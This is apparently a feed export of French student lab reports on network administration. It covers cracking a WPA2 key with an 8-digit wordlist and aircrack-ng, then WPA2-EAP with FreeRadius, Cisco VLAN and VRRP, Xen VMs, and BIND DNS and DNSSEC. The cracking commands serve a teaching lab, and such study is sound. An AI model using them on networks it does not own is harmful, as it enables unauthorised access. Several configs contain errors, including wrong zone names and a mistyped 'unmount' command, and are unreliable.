&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
seq -w 00000000 99999999 &amp;gt; dictionnaire.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
=== Tentative de cassage du mot de passe ===&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de lancer l’attaque par dictionnaire :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-EAP =&lt;br /&gt;
&lt;br /&gt;
== Objectif ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme&lt;br /&gt;
d’authentification WPA2-Enterprise (WPA2-EAP).  &lt;br /&gt;
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé&lt;br /&gt;
FreeRadius permettant une authentification individuelle des utilisateurs.&lt;br /&gt;
&lt;br /&gt;
L’infrastructure repose sur :&lt;br /&gt;
* un VLAN personnel dédié ;&lt;br /&gt;
* une redondance des routeurs via VRRP ;&lt;br /&gt;
* un serveur FreeRadius installé sur la machine virtuelle de services.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Accès aux équipements réseau ==&lt;br /&gt;
&lt;br /&gt;
La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\&lt;br /&gt;
diffie-hellman-group14-sha1,\&lt;br /&gt;
diffie-hellman-group1-sha1 \&lt;br /&gt;
-o HostKeyAlgorithms=ssh-rsa \&lt;br /&gt;
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\&lt;br /&gt;
aes128-ctr,aes192-ctr,aes256-ctr \&lt;br /&gt;
admin@172.27.0.2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Adressage des équipements ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Equipement !! Adresse IP&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E304 || 172.27.0.1&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E306 || 172.27.0.2&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E306 || 172.27.0.3&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E304 || 172.27.0.4&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Création du VLAN personnel ==&lt;br /&gt;
&lt;br /&gt;
Le VLAN personnel attribué est le VLAN '''18'''.&lt;br /&gt;
&lt;br /&gt;
=== Sur les deux routeurs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 18&lt;br /&gt;
 name VLAN_YASSINE&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration des interfaces VLAN ==&lt;br /&gt;
&lt;br /&gt;
=== Routeur principal (E304) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.2 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 110&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== Routeur secondaire (E306) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.3 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 100&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration DHCP ==&lt;br /&gt;
&lt;br /&gt;
Le serveur DHCP est réparti entre les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
=== Routeur E304 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-A&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.100 10.60.8.150&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== Routeur E306 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-B&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.151 10.60.8.200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Routage vers la machine mandataire (PBR) ==&lt;br /&gt;
&lt;br /&gt;
Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
access-list 101 permit ip 10.60.8.0 0.0.0.255 any&lt;br /&gt;
&lt;br /&gt;
route-map PBR-YASSINE permit 10&lt;br /&gt;
 match ip address 101&lt;br /&gt;
 set ip next-hop 192.168.7.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Application :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip policy route-map PBR-YASSINE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration du serveur FreeRadius ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine virtuelle de services (192.168.7.2) :&lt;br /&gt;
&lt;br /&gt;
Installation :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install freeradius freeradius-utils&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ajout du point d’accès WiFi :&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12398</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12398"/>
		<updated>2026-02-25T17:09:10Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
